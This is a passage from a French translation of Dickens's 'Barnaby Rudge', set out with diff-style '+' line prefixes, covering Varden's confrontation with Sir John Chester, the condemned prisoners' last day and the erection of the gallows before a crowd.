+lui apprendre ce que c'est que douceur et pardon. Quand il sera
+devenu un homme, je m'en fie au dieu de ma tribu pour le faire
+rencontrer avec son père, et me venger par mon fils.» Il lui fit
+encore quelques questions, mais elle ne répondit plus rien.
+Encore, d'après le récit du bourreau, n'est-ce pas à lui qu'elle
+semblait dire ce peu de mots, car elle avait, pendant ce temps-là,
+les yeux levés vers le ciel, sans les tourner vers lui une seule
+fois.»
+
+Sir John prit une prise de tabac, en regardant d'un air
+approbateur une élégante esquisse représentant la Nature sur
+muraille, et, relevant les yeux vers le visage du serrurier, il
+lui dit d'un air de courtoisie protectrice.
+
+«Vous alliez remarquer, monsieur Varden ...
+
+-- Que jamais, répliqua Gabriel, qui ne se laissait pas démonter
+par tous ces semblants et n'en gardait pas moins son ton ferme et
+son regard assuré, que jamais elle ne tourna les yeux vers lui;
+pas une seule fois, sir John, et que c'est comme cela qu'elle
+mourut. Lui, il l'eut bientôt oubliée; mais, quelques années
+après, un homme fut de même condamné à mort, un Bohémien comme
+elle, un gaillard au teint brun et basané, une espèce d'enragé.
+Et, pendant qu'il était en prison, en attendant l'exécution, comme
+il avait vu bien des fois le bourreau avant d'être arrêté. Il lui
+sculpta son portrait sur sa canne, comme pour montrer qu'il
+bravait la mort, et pour faire voir à ceux qui l'approchaient le
+peu de souci qu'il avait de la vie. Arrivé à Tyburn, il lui remit
+sa canne entre les mains, en lui disant que la femme dont il lui
+avait parlé avait déserté sa tribu pour aller trouver un
+gentleman, et que, se voyant ensuite abandonnée par son séducteur
+et répudiée par ses anciennes camarades, elle avait fait le
+serment, dans son orgueil irrité, de ne jamais plus demander aide
+ni secours à personne, quelle que fût sa misère. Il ajouta qu'elle
+avait tenu parole jusqu'au dernier moment, et que le rencontrant
+dans les rues, même lui, qui, à ce qu'il paraît, l'avait autrefois
+tendrement aimée, elle avait fait un détour pour échapper à sa
+vue, et qu'il ne l'avait plus revue depuis, que le jour où, se
+trouvant dans un des fréquents rassemblements de Tyburn, avec
+quelques-uns de ses rudes compagnons, il était devenu presque fou,
+en la voyant, mais sous un autre nom, parmi les criminels dont il
+était venu contempler la mort. Là donc, debout sur la même planche
+où elle avait figuré avant lui, il raconta tout cela au bourreau,
+et lui dit le vrai nom de la femme, qui n'était connu que de sa
+tribu et du gentleman pour l'amour duquel elle avait abandonné les
+siens... Ce nom, sir John, il ne veut plus le dire qu'à vous.
+
+-- Qu'à moi! s'écria le chevalier s'arrêtant dans le geste de
+porter sa tasse à ses lèvres, d'une main ferme comme un roc, et
+courbant en l'air son petit doigt, pour déployer à son avantage la
+splendeur d'une bague de diamant dont il était orné. Qu'à moi!...
+mon cher monsieur Varden. À quoi bon, je vous prie, me choisir
+tout exprès pour me faire cette confidence, quand il avait sous sa
+main un homme aussi digne que vous de toute sa confiance?
+
+-- Sir John, sir John, répondit le serrurier, demain à midi ces
+hommes-là seront morts. Écoutez le peu de mots que j'ai encore à
+vous dire, et n'espérez pas me tromper. Car je ne suis, il est
+vrai, qu'un homme simple et humble de condition, tandis que vous,
+vous êtes un gentleman de haut rang et de grand savoir; mais la
+vérité m'élève à votre niveau, et je sais que vous devinez où j'en
+veux venir, et que vous êtes convaincu que Hugh le condamné est
+votre fils.
+
+-- Par exemple! dit sir John, en le raillant d'un ton badin; je ne
+suppose pas que ce gentleman sauvage, qui est mort si subitement,
+soit allé jusque-là.
+
+-- C'est vrai, reprit le serrurier, car elle lui avait fait prêter
+serment, d'après un rite connu seulement de ces gens-là, et que
+les plus détestables parmi eux respectent comme sacré, de ne point
+dire votre nom; seulement, il avait sculpté sur sa canne un dessin
+fantastique où l'on voyait quelques lettres, et quand le bourreau
+la reçut de ses mains, l'autre lui recommanda particulièrement,
+s'il devait jamais rencontrer plus tard le fils de la Bohémienne,
+de ne pas oublier l'endroit désigné par ces lettres.
+
+-- Quel endroit?
+
+-- Chester.»
+
+Le chevalier acheva sa tasse de chocolat avec l'air d'y trouver un
+plaisir infini, et s'essuya soigneusement les lèvres sur son
+mouchoir.
+
+«Sir John, dit le serrurier, voilà tout ce qu'il m'a dit; mais,
+depuis que ces deux hommes ont été laissés ensemble, en attendant
+la mort, ils ont conféré ensemble très intimement. Allez les voir,
+allez entendre ce qu'ils peuvent vous dire de plus. Voyez ce
+Dennis, il vous apprendra ce qu'il n'a pas voulu me confier à moi-
+même. Vous qui tenez maintenant le fil dans les mains, si vous
+voulez quelque confirmation de tous ces faits, rien ne vous est
+plus aisé.
+
+-- Ah çà, qu'est-ce donc, mon cher, mon bon, mon estimable
+monsieur Varden? car, en vérité, malgré moi, je ne puis pas me
+fâcher contre vous, dit sir John Chester en se relevant de son
+oreiller et s'appuyant sur son coude; qu'est-ce donc que tout cela
+signifie?
+
+-- Je vous prends pour un homme, sir John, et je suppose que cela
+signifie qu'il faut réveiller quelque affection naturelle dans
+votre coeur; qu'il faut tendre tous vos nerfs et déployer toutes
+les facultés et l'influence dont vous pouvez jouir en faveur de
+votre misérable fils et de l'homme qui vous a révélé son
+existence. Au moins devez-vous, je suppose, aller voir votre fils,
+pour lui inspirer l'horreur de son crime et le sentiment du danger
+qui le menace: car pour le moment il y est insensible. Jugez de ce
+qu'a dû être sa vie, par ce que je lui ai entendu dire, que si je
+réussissais à vous déranger le moins du monde, ce ne serait que
+pour faire hâter sa mort, si vous en aviez le pouvoir, parce
+qu'elle vous répondrait de son silence!
+
+-- Et est-il possible, mon bon monsieur Varden, dit sir John d'un
+ton de doux reproche, est-il réellement possible que vous ayez
+vécu jusqu'à l'âge que vous avez, et que vous soyez resté assez
+simple et assez crédule pour venir trouver un gentleman d'un
+caractère bien connu, avec une pareille mission, de la part de
+quelques misérables poussés à bout par le désespoir, et qui se
+rattacheraient à un fétu? Dieu du ciel! ah, fi donc! fi donc!»
+
+Le serrurier allait répliquer, mais l'autre l'arrêta.
+
+«Sur tout autre sujet, monsieur Varden, je serai charmé... de
+converser avec vous; mais je dois à ma dignité d'ajourner cette
+question à un autre moment.
+
+-- Réfléchissez-y bien, monsieur, quand je vais être parti,
+répondit le serrurier; réfléchissez-y bien. Quoique vous ayez
+trois fois, depuis quelques semaines, mis à la porte votre fils
+légitime, M. Édouard, vous pouvez avoir le temps, vous pouvez
+avoir des années devant vous pour faire votre paix avec celui-là,
+sir John; mais ici vous n'avez plus que douze heures: c'est
+bientôt passé, et après cela ce sera fini.
+
+-- Je vous remercie beaucoup, répliqua le chevalier en envoyant de
+sa main délicate un baiser en forme d'adieu au serrurier, je vous
+remercie de votre avis ingénu. Je regrette seulement, mon brave
+homme, quoique vous soyez d'une simplicité charmante, que vous
+n'ayez pas avec cela un peu plus de connaissance du monde. Je n'ai
+jamais été plus contrarié qu'en ce moment d'être interrompu par
+l'arrivée de mon coiffeur. Que Dieu vous bénisse! Bonjour.
+N'oubliez pas, je vous prie, ma commission auprès de ces dames,
+monsieur Varden. Peak, conduisez M. Varden jusqu'à la porte.»
+
+Gabriel ne dit plus rien; il rendit seulement à sir John un signe
+d'adieu, et le quitta. Comme il sortait de la chambre, la figure
+de sir John changea, et le sourire stéréotypé fit place à une
+expression égarée et inquiète. Comme celle d'un acteur ennuyé,
+épuisé par le rôle difficile qu'il vient de jouer. Il se leva de
+son lit avec un soupir pénible, et s'enveloppa dans sa robe de
+chambre.
+
+«Ainsi elle a tenu parole, dit-il, elle a fidèlement exécuté sa
+menace. Je voudrais pour beaucoup n'avoir jamais vu cette sombre
+figure... Il était facile d'y lire du premier coup toutes ces
+conséquences. C'est une affaire qui ferait un bruit terrible, si
+elle reposait sur un témoignage plus honnête; mais celui-là, avec
+tous les anneaux rompus qui empêchant de renouer la chaîne, je
+peux impunément le braver ... C'est extrêmement désagréable d'être
+le père d'une créature si grossière. Pourtant je lui avais donné
+un bon avis, je lui avais bien dit qu'il se ferait pendre.
+Qu'aurais-je pu faire de plus si j'avais su le secret de notre
+parenté? car enfin, combien y a-t-il de pères qui n'en font pas
+même autant pour leurs bâtards!... Vous pouvez faire entrer le
+coiffeur, Peak.»
+
+Le coiffeur entra, et, dans sir John Chester, dont la conscience
+accommodante fut bientôt tranquillisée par les nombreux exemples
+que lui fournissait sa mémoire à l'appui de sa dernière réflexion,
+il retrouva le même gentleman séduisant, élégant, imperturbable,
+qu'il avait vu la veille, l'avant-veille et toujours.
+
+
+
+
+CHAPITRE XXXIV.
+
+
+En s'en allant tout doucement de chez sir John Chester, le
+serrurier ralentit encore son pas sous les arbres qui ombrageaient
+l'entrée, avec une sorte d'espérance qu'on allait peut-être le
+rappeler. Il était revenu déjà sur ses pas, et s'arrêtait encore
+au détour de la rue, quand l'horloge sonna douze fois. Douze
+heures, tintement solennel! non pas seulement en pensant à demain,
+mais il savait que c'était le glas funèbre de l'assassin, il
+l'avait vu passer dans la rue encombrée par la foule, au milieu
+des imprécations de la multitude; il avait remarqué sa lèvre
+frémissante et ses membres tremblants; la couleur plombée de sa
+face, son front gluant, son oeil égaré... la crainte de la mort
+qui absorbait chez lui toute autre pensée, et qui lui dévorait
+sans pitié le coeur et la cervelle. Il avait remarqué son regard
+errant, en quête de quelque espérance, et ne rencontrant, de
+quelque côté qu'il se tournât, que le désespoir. Il avait vu cette
+créature agitée par son crime, pitoyable et désolée, conduite avec
+sa bière à côté d'elle dans la charrette jusqu'au gibet. Il savait
+que jusqu'à la fin il était resté inflexible, obstiné; que, dans
+la terreur sauvage de sa condition, il s'était plutôt endurci
+qu'attendri à l'égard de sa femme et de son fils; que ses
+dernières paroles avaient été des paroles de malédiction contre
+eux, comme étant ses ennemis.
+
+M. Haredale avait résolu d'y aller, pour s'assurer par ses yeux du
+dénoûment. Il n'y avait que le témoignage de ses sens qui pût
+satisfaire cette soif ardente de vengeance qui le tenait en
+haleine depuis tant d'années. Le serrurier le savait, et, quand
+les cloches eurent cessé leur carillon, il courut à sa rencontre.
+
+«Quant à ces deux hommes, lui dit-il en arrivant, je ne peux plus
+rien faire. Que le ciel ait pitié d'eux!... Hélas! je ne peux rien
+faire pour eux ni pour d'autres. Mary Rudge aura un gîte, et elle
+est assurée d'un ami fidèle qu'elle retrouvera au besoin. Mais
+Barnabé... le pauvre Barnabé... le bon Barnabé... quel service
+puis-je lui rendre? Il y a bien des hommes dans leur bon sens,
+Dieu me pardonne! cria l'honnête serrurier en s'arrêtant dans une
+cour étroite qu'ils traversaient, pour passer sa main sur ses yeux
+humides, que je me résignerais plus facilement à perdre que
+Barnabé. Nous avons toujours été bons amis; mais je ne savais pas,
+non je n'ai jamais su jusqu'à ce jour combien j'aimais ce garçon-
+là.»
+
+Il n'y avait pas grand monde dans la ville qui pensât à Barnabé ce
+jour-là, si ce n'est comme à l'acteur principal du spectacle qu'on
+allait donner au peuple le lendemain. Mais, quand toute la
+population y aurait songé, pour souhaiter de voir épargner sa vie,
+il n'y en avait pas un parmi eux qui l'eût fait avec un zèle plus
+pur, ni avec une plus grande sincérité de coeur que la bon
+serrurier.
+
+Barnabé devait mourir. Il n'y avait plus d'espérance. Ce n'est pas
+le moindre des maux qui résultent de cette punition suprême et
+terrible, la peine de mort, qu'elle endurait les cours de ceux qui
+ont affaire à elle, et fait des hommes les plus aimables
+d'ailleurs, les êtres les plus indifférents à la grande
+responsabilité qui pèse sur eux: souvent même ils ne s'en doutent
+pas. On avait prononcé la sentence qui condamnait à mort Barnabé.
+On la prononçait, tous les mois, pour des crimes plus légers.
+C'était une chose si ordinaire, qu'il y avait bien peu de
+personnes que cet arrêt épouvantable fit tressaillir, ou qui se
+donnassent la peine d'en discuter la légitimité. Cette fois
+encore, cette fois surtout, où la Loi avait été outragée d'une
+manière si flagrante, il fallait assurer, disait-on, «la dignité
+de la Loi.» Le symbole de sa dignité, gravé à chaque page du Code
+criminel, c'était la potence, et Barnabé devait mourir.
+
+On avait essayé de le sauver. Le serrurier avait porté pétitions
+sur pétitions, mémoires sur mémoires, de ses propres mains à la
+source des grâces. Mais la source des grâces n'était pas, comme
+dans la Bible, la fontaine de miséricorde, et Barnabé devait
+mourir.
+
+Depuis le commencement, sa mère ne l'avait pas quitté un moment,
+excepté la nuit; et, en la trouvant à ses côtés, il était content
+comme toujours. Ce jour-là, qui devait être le dernier pour lui,
+il fut plus animé et plus fier qu'il ne l'avait encore été; et,
+quand elle laissa tomber de ses mains le saint livre qu'elle
+venait de lui lire tout haut, pour lui sauter au cou, il s'arrêta
+dans le soin empressé qu'il prenait de rouler un morceau de crêpe
+autour de son chapeau, tout surpris des angoisses de sa mère. Grip
+proféra un faible croassement, moitié encouragement, à ce qu'on
+pouvait croire, moitié remontrance; mais il n'eut pas le coeur
+d'aller plus loin, et retomba brusquement dans un profond silence.
+
+Pendant qu'ils étaient là sur le bord de ce grand golfe, au delà
+duquel personne ne peut voir l'Océan, le Temps, qui allait bientôt
+lui-même se perdre dans le vaste abîme de l'Éternité, roulait avec
+eux comme un puissant fleuve qui enfle et précipite son cours à
+mesure qu'il approche de la mer. C'est à peine si le matin était
+arrivé, ils étaient restés assis à causer ensemble comme dans un
+rêve, et déjà venait le soir. L'heure redoutable de la séparation,
+qui, hier encore, semblait si éloignée, allait sonner.
+
+Ils marchaient ensemble dans la cour des condamnés, sans se
+quitter l'un l'autre, mais sans parler. Barnabé trouvait que la
+prison était un séjour pénible, lugubre, misérable, et espérait le
+lendemain comme un libérateur qui allait l'arracher à ce lieu de
+tristesse pour le conduire vers un lieu de lumière et de
+splendeur. Il avait une idée vague qu'on s'attendait à le voir se
+conduire en brave... qu'il était un homme d'importance, et que les
+geôliers seraient trop contents de le surprendre à verser des
+larmes. À cette pensée, il foulait la terre d'un pied plus ferme,
+en recommandant à sa mère de prendre courage et de ne plus
+pleurer. «Sentez ma main, lui disait-il, vous voyez bien qu'elle
+ne tremble pas. Ils me traitent d'imbécile, ma mère, mais ils
+verront... demain.»
+
+Dennis et Hugh étaient dans la même cour. Hugh sortit de sa
+cellule en même temps qu'eux, s'étirant les membres comme s'il
+venait de dormir. Dennis était assis sur un banc dans un coin, son
+menton enfoncé dans ses genoux, et il se balançait de haut en bas,
+comme une personne qui souffre des douleurs atroces.
+
+La mère et le fils restèrent d'un côté de la cour, et ces deux
+prisonniers de l'autre, Hugh marchait à grands pas de long en
+large, jetant de temps à autre un regard farouche vers le ciel
+brillant d'un jour d'été, puis se retournant, après cela, pour
+regarder la muraille.
+
+«Pas de sursis! pas de sursis! Personne ne vient. Nous n'avons
+plus que la nuit, à présent, disait Dennis d'une voix faible et
+gémissante en se tordant les mains. Croyez-vous qu'ils vont
+m'accorder mon sursis ce soir, camarade? Ce ne serait pas la
+première fois que j'aurais vu arriver des sursis la nuit. J'en ai
+vu qui n'arrivaient qu'à cinq, six et même sept heures du matin.
+Ne pensez-vous pas qu'il me reste encore quelque bonne chance,
+n'est-ce pas? Dites-moi que oui, dites-moi que oui, jeune homme,
+criait la misérable créature avec un geste suppliant, implorant
+Barnabé, ou je vais devenir fou.
+
+-- Il vaut mieux être fou ici que dans son bon sens. Tu n'as qu'à
+devenir fou, lui dit Hugh.
+
+-- Mais dites-moi donc ce que vous en pensez. Comment! quelqu'un
+ne me dira pas ce qu'il en pense, continuait le malheureux, si
+humble, si misérable, si abject, que la Pitié en personne aurait
+tourné le dos en voyant tant de bassesse sur la figure d'un homme.
+Ne me reste-t-il plus une chance? pas une seule chance favorable?
+N'est-il pas vraisemblable qu'ils ne tardent tant que pour me
+faire peur? N'est-ce pas que vous le croyez? Oh! ajoutait-il avec
+un cri perçant, en se tordant toujours les mains, personne ne veut
+donc me consoler!
+
+-- C'est vous qui devriez montrer le plus de courage, et c'est
+vous qui en montrez le moins, dit Hugh en s'arrêtant devant lui.
+Ha! ha! ha! voyez-vous le bourreau, quand c'est à son tour!
+
+-- Vous ne savez pas ce que c'est, vous, criait Dennis, qui se
+tordait en deux tout en parlant; moi, je le sais. Comment! je
+pourrais être exécuté! moi! moi! en venir là!
+
+-- Et pourquoi pas? dit Hugh, rejetant de côté ses mèches de
+cheveux pour mieux voir son ancien collègue de révolte. Que de
+fois, avant de connaître votre état, vous ai-je entendu parler de
+ça, de manière à en faire venir l'eau à la bouche?
+
+-- Je suis toujours le même; j'en parlerais encore de même, si
+j'étais encore bourreau. C'en est un autre que moi qui hérite de
+mon opinion, à l'heure qu'il est. C'est bien ce qui m'afflige le
+plus. Il y a quelqu'un, à présent, qui m'attend avec impatience
+pour m'exécuter. Je sais bien par moi-même ce qui en est.
+
+-- Il n'a pas longtemps à attendre, dit Hugh en reprenant sa
+promenade. Vous n'avez qu'à vous dire cela pour vous
+tranquilliser.»
+
+Quoiqu'un de ces deux hommes étalât dans ses paroles et son
+attitude l'immobilité la plus absolue, et que l'autre, dans chaque
+mot, dans chaque geste, fît preuve d'une lâcheté si abjecte, que
+c'était humiliant de le voir, il était difficile de dire quel
+était celui des deux qui présentait le spectacle le plus
+repoussant et le plus dégoûtant. Chez Hugh, c'était le désespoir
+obstiné d'un sauvage attaché au poteau funeste, le bourreau, au
+contraire, était réduit à l'état d'un chien qu'on va noyer, et qui
+a déjà la corde au cou. Cependant M. Dennis aurait pu dire, car il
+le savait bien par expérience, que ce sont là les deux formes les
+plus ordinaires chez les patients qui vont sauter le pas. Telle
+est, en gros, la belle récolte du grain semé par la Loi, qu'on
+regardait généralement cette moisson comme une chose toute
+naturelle.
+
+Il y avait cependant des points par lesquels ils se ressemblaient
+tous. Le cours errant et fatal de leurs pensées, qui les ramenait
+à des souvenirs subits de choses anciennes dans le passé, depuis
+longtemps oubliées, sans relations entre elles... le vague besoin,
+qui les tourmentait sans cesse, de quelque chose d'indéfini que
+rien ne pouvait leur donner... la fuite ailée des minutes qui
+formaient des heures, comme par enchantement... la venue rapide de
+la nuit solennelle... l'ombre de la mort planant toujours sur eux,
+dont cependant l'obscurité ténébreuse n'empêchait pas les détails
+les plus communs et les plus triviaux de surgir au milieu de
+l'horreur dont ils étaient frappés, pour les forcer à les
+contempler... l'impossibilité de conserver leur esprit, quand ils
+y eussent été disposés, dans un état de pénitence et de
+préparation dernière, ou même de le tenir fixé sur toute autre
+chose que l'image hideuse qui fascinait toutes leurs facultés,
+voilà ce qu'ils avaient tous de commun; il n'y avait de différence
+que dans les signes extérieurs.
+
+«Allez nous chercher le livre que j'ai laissé là dedans... sur
+votre lit, dit-elle à Barnabé en entendant sonner l'heure.
+Embrassez-moi d'abord.»
+
+Il regarda son visage et vit bien dans ses traits que le moment
+était venu. Après s'être tenus longtemps dans les bras l'un de
+l'autre, il s'arracha de ceux de sa mère, en lui recommandant de
+ne pas bouger avant son retour. Il ne fut pas long à revenir, car
+il avait été rappelé par un cri déchirant... Mais elle était
+partie.
+
+Il courut à la porte de la cour, pour regarder au travers. Il vit
+qu'on l'emportait. Elle lui avait dit que son coeur se briserait.
+Hélas! plût à Dieu!
+
+«Ne croyez-vous pas, lui dit Dennis en pleurnichant et en se
+traînant jusqu'à lui, pendant qu'il était là debout, le pied
+enraciné dans le sol, à regarder la muraille nue et vide; ne
+croyez-vous pas qu'il me reste encore quelque chance? C'est une
+fin si terrible! une fin si terrible pour un homme comme moi! Ne
+croyez-vous pas qu'il se trouvera quelque chance, je ne dis pas
+pour vous, mais pour moi? Parlez bas, que celui-là (montrant Hugh)
+ne nous entende pas: c'est un tel garnement!
+
+-- Allons, dit le gardien, qui venait de faire sa ronde en dedans
+et en dehors avec les mains dans ses poches, et qui bâillait comme
+s'il s'ennuyait à mourir, allons, mes gars, il est temps de
+rentrer!
+
+-- Non, pas encore, cria Dennis; pas encore: il s'en faut d'une
+heure.
+
+-- Dites donc... il parait que votre montre a bien changé
+d'allure, reprit le gardien; j'ai vu le temps où elle avançait:
+elle a maintenant le défaut contraire.
+
+-- Mon ami, criait la misérable créature en tombant à genoux, mon
+cher ami, car vous avez toujours été mon cher ami, il faut qu'il y
+ait quelque méprise. Il y a, j'en suis sûr, quelque lettre égarée,
+quelque messager qui aura été arrêté en route. Qui sait s'il n'est
+pas tombé de mort subite? J'ai vu comme cela, une fois, un homme
+tomber roide mort dans la rue; je l'ai vu de mes yeux, et même il
+avait des papiers dans sa poche. Envoyez demander. Que quelqu'un
+aille aux informations. Il n'est pas possible qu'ils veuillent me
+pendre; c'est tout à fait impossible... Mais si, j'y pense, ils
+veulent me pendre, reprit-il en se relevant sur ses pieds avec un
+cri d'angoisse. Ils veulent me pendre par surprise, et c'est pour
+cela qu'ils retiennent la grâce qu'on m'a faite. C'est un complot
+contre ma vie, ils veulent que je la perde.»
+
+Et poussant un autre hurlement, il tomba par terre dans une crise
+de nerfs.
+
+«Voyez-vous le bourreau, quand c'est son tour! répéta Hugh,
+pendant qu'on emportait son camarade. Ha! ha! ha! Courage, brave
+Barnabé! ça ne nous fait rien à nous. Votre main. D'ailleurs ils
+font bien de nous retirer du monde: car, s'ils nous relâchaient,
+nous ne les tiendrions pas quittes à si bon marché, hein? Encore
+une poignée de main; on ne meurt qu'une fois. Si vous vous
+réveillez la nuit, vous n'avez qu'à vous bercer avec ce gai
+refrain, et vous retomberez tout de suite la tête sur l'oreiller,
+Ha! ha! ha!»
+
+Barnabé jeta encore un coup d'oeil par la grille de la cour, qui
+était vide maintenant. Puis il regarda Hugh enjamber hardiment le
+pas qui conduisait à son cachot. Il l'entendit crier bravo! et
+partir d'un grand éclat de rire en faisant tourner son chapeau au-
+dessus de sa tête. Alors, il s'en alla lui-même, comme un
+somnambule, aussi insensible à la crainte ou au chagrin, et se
+jeta sur sa paillasse, écoutant l'heure qu'allait sonner
+l'horloge.
+
+
+
+
+CHAPITRE XXXV.
+
+
+Le temps suivait son cours. Le tapage des rues devenait moins
+fréquent petit à petit, jusqu'à ce qu'enfin le silence ne fut plus
+guère interrompu que par les cloches des tours de l'église,
+marquant la marche... plus lente et plus discrète pendant le
+sommeil de la ville endormie, de ce grand Veilleur à tête grise,
+qui ne connaît pour lui ni sommeil ni repos. Dans le court
+intervalle des ténèbres et du calme dont jouissent les villes
+après la fièvre de la journée, tout bruit d'affaires s'éteint, et
+ceux qui, par hasard, s'éveillent de leurs songes, restent à
+écouter dans leurs lits, à soupirer après l'aube, à regretter que
+la fin de la nuit ne soit pas encore écoulée.
+
+Dans la rue, en dehors du long mur de la prison, des ouvriers
+vinrent en flânant à cette heure solennelle, par groupes de deux
+ou trois, et, en se rencontrant sur la chaussée, ils posèrent
+leurs outils par terre et se mirent à chuchoter entre eux.
+D'autres sortirent bientôt de la prison même, portant sur leur dos
+des planches et des charpentes. Quand ils eurent sorti tous ces
+matériaux, les premiers se mirent à la besogne à leur tour, et le
+son lugubre des marteaux commença à retentir dans les rues jusque-
+là silencieuses.
+
+Çà et là, parmi ces ouvriers réunis, on en voyait un, avec une
+lanterne ou une torche fumante à la main, se tenir auprès des
+autres pour les éclairer dans leur travail; et à l'aide de cette
+lueur douteuse on en entrevoyait quelques-uns dans l'ombre qui
+arrachaient des pavés sur le chemin, pendant que d'autres tenaient
+tout droits de grands poteaux ou les fixaient dans des trous
+préparés d'avance pour les recevoir. D'autres amenaient lentement
+à leurs camarades une charrette vide, qui grondait derrière eux en
+sortant de la prison; pendant que d'autres, enfin, dressaient de
+longues barricades en travers de la rue. Ils étaient tous très
+occupés à leur ouvrage. Leurs figures sombres, qui se mouvaient de
+droite et de gauche, à cette heure inaccoutumée, si actives et si
+silencieuses, auraient pu passer pour des ombres de revenants
+employés, à l'heure de minuit, à quelque ouvrage fantastique, qui
+s'évanouirait comme elles au chant du coq, au premier rayon du
+jour, ne laissant plus à leur place que le brouillard et les
+vapeurs du matin.
+
+Tant qu'il fit encore noir, il s'amassa sur la place un petit
+nombre de curieux, qui étaient venus tout exprès avec l'intention
+d'y rester. Ceux même qui ne traversaient la place qu'en passant
+pour aller ailleurs, s'arrêtaient là quelque temps comme par un
+attrait irrésistible. Cependant le bruit de la scie et du maillet
+allait son train gaillardement, mêlé au fracas des planches qu'on
+jetait sur le pavé de la chaussée, et de temps en temps aux voix
+des ouvriers qui s'appelaient les uns les autres. Toutes les fois
+qu'on entendait le carillon de l'église voisine, et c'était à
+chaque quart d'heure, une étrange sensation, instantanée et
+inexprimable, mais bien visible, courait comme un frisson sur le
+corps de tous les assistants.
+
+Petit à petit on vit apparaître à l'orient une faible lueur, et
+l'air, qui était resté chaud toute la nuit, devint froid et glacé.
+Ce n'était pas encore le jour, mais l'obscurité diminuait, et les
+étoiles pâlissaient. La prison, qui n'avait été jusque-là qu'une
+masse noire sans figure et sans forme, prit son aspect accoutumé,
+et de temps à autre on put voir sur son toit un veilleur solitaire
+s'arrêter pour regarder de là les préparatifs qu'on faisait dans
+la rue. Comme cet homme faisait, en quelque sorte, partie de la
+prison même, et qu'il savait, ou du moins on pouvait le supposer,
+tout ce qui s'y passait, il devenait par cela même l'objet d'un
+intérêt particulier, et on regardait sa silhouette, on se la
+montrait les uns aux autres avec autant de vivacité que si c'était
+un esprit.
+
+Cependant la faible lueur devint plus éclatante, et les maisons,
+avec leurs inscriptions et leurs enseignes, se détachèrent
+distinctement sur le fond grisâtre du matin. De grosses voitures
+publiques sortirent lourdement de la cour d'auberge vis-à-vis,
+avec les voyageurs avançant la tête pour avoir leur part du coup
+d'oeil; et en s'en allant cahin-caha, chacun d'eux jetait en
+arrière un dernier regard sur la prison. Puis bientôt les premiers
+rayons du soleil vinrent éclairer la rue, et l'oeuvre nocturne
+qui, dans ses divers progrès et surtout dans l'imagination variée
+des spectateurs, avait pris cent formes successives, possédait
+enfin sa vraie et due forme, ... c'était un échafaud et un gibet.
+
+Dès que la chaleur d'un jour éclatant commença à se faire sentir à
+la foule encore peu épaisse, on entendit les langues se délier,
+les volets s'ouvrir, les jalousies se tirer; les personnes qui
+avaient couché dans des appartements de l'autre côté de la prison,
+et qui avaient de bonnes places à louer à grand prix pour voir
+l'exécution, sortirent de leur lit à la hâte. Dans plusieurs
+maisons, les gens étaient occupés à relever les châssis des
+croisées pour la plus grande commodité des spectateurs; il y en
+avait même d'autres où les spectateurs étaient déjà à leur poste,
+assis sur leurs chaises, et jouant aux cartes, ou buvant, ou
+plaisantant ensemble, pour passer le temps. Quelques-uns avaient
+loué des places jusque sur le toit, et on les voyait déjà grimper
+pour les prendre, par le parapet ou par les fenêtres des greniers.
+Quelques autres, ne trouvant pas leurs places assez bonnes
+hésitaient à les occuper, et restaient debout dans un état
+d'indécision, contemplant en bas la foule qui grossissait
+successivement, avec les ouvriers qui se reposaient nonchalamment
+contre l'échafaud, et affectant de se montrer peu sensibles à
+l'éloquence du propriétaire, qui leur vantait le magnifique coup
+d'oeil qu'on avait de la maison, et le bon marché qu'il en
+demandait.
+
+Jamais on n'avait vu plus belle matinée du haut des toits et des
+étages supérieurs de ces bâtiments; les clochers des églises de
+Londres et le dôme de la grande cathédrale appelaient les regards,
+bien au-dessus de la prison, découpés sur un ciel bleu, et colorés
+par les nuages légers d'un jour d'été, montrant dans une
+atmosphère pure et claire jusqu'aux dessins dentelés de leur
+architecture, toutes leurs niches et leurs ouvertures. Tout était
+lumière et bonheur, excepté en bas dans la rue, encore dans
+l'ombre; l'oeil plongeait là dans une grande fosse sombre, où, au
+milieu de tant de vie et d'espérance, au milieu de cette
+renaissance générale, était dressé le terrible instrument de mort.
+On aurait dit que le soleil même ne pouvait pas se décider à
+regarder par là.
+
+Mais cet appareil lugubre était encore mieux ainsi, triste et
+caché dans l'ombre, qu'au moment où la journée étant plus avancée,
+il étala dans la pleine gloire du soleil brillant sa peinture
+noire toute craquelée, et ses noeuds coulants qui se balançaient à
+la lumière du jour comme des guirlandes hideuses. Il était mieux
+dans la solitude et la tristesse de l'heure de minuit, avec un
+petit nombre de formes vivantes groupées autour de lui, qu'à la
+fraîcheur du matin, signal du réveil de la vie, au centre d'une
+foule avide. Il était mieux quand il hantait la rue comme un
+spectre, pendant que tout le monde était couché, et qu'il ne
+pouvait infecter de son influence que les rêves de la ville, que
+lorsqu'il vint braver le grand jour et salir de sa présence impure
+les sens des citoyens éveillés.
+
+Cinq heures étaient sonnées... puis six... puis huit. Le long des
+deux grandes rues, à chaque bout de la place, il y avait
+maintenant un torrent de monde qui roulait ses flots vivants vers
+les rendez-vous d'affaires et les marchés où les appelaient
+l'amour du gain. Les charrettes, les diligences, les fourgons, les
+camions, les diables et les brouettes se frayaient de force un
+passage à travers les derniers rangs de la foule, pour se rendre
+dans la même direction. Les voitures publiques qui venaient des
+environs s'arrêtaient, et le conducteur montrait avec son fouet le
+gibet, quoiqu'il eût pu s'en épargner la peine: car ses voyageurs
+n'avaient pas besoin de cela pour tourner tous la tête de ce côté,
+et les portières étaient tapissées d'yeux tout grands ouverts.
+Dans quelques charrettes et quelques fourgons, on pouvait voir des
+femmes jetant avec épouvante un coup d'oeil du côté de cette
+horrible machine; il n'y avait pas jusqu'aux petits enfants que
+leurs papas tenaient au-dessus de leur tête dans la foule pour
+leur faire voir le beau joujou qu'on appelle une potence, et pour
+leur apprendre comment on pend un homme.
+
+On devait mettre à mort, devant la prison, deux des insurgés qui
+avaient pris part à l'attaque dirigée contre elle; immédiatement
+après on devait en exécuter un autre dans Bloomsbury-Square. À
+neuf heures, un fort détachement de soldats se mit en marche dans
+la rue, se forma en double haie, et ne laissa qu'un étroit passage
+dans Holborn, qui avait été, tant bien que mal, occupé toute la
+nuit par les constables. À travers les rangs de la troupe, on
+amena une autre charrette (celle dont nous avons déjà parlé
+servait à la construction de l'échafaud), et on la roula jusqu'à
+la porte de la prison. Après ces préparatifs, les soldats purent
+mettre l'arme au pied: les officiers se promenaient de long en
+large dans le passage qu'ils avaient pratiqué, ou causaient
+ensemble au pied de l'échafaud. Quant à la foule qui s'était
+rapidement accrue depuis quelques heures, et qui recevait encore
+de nouveaux renforts à chaque minute, elle attendait midi avec une
+impatience que redoublait chaque carillon de l'horloge du Saint-
+Sépulcre.
+
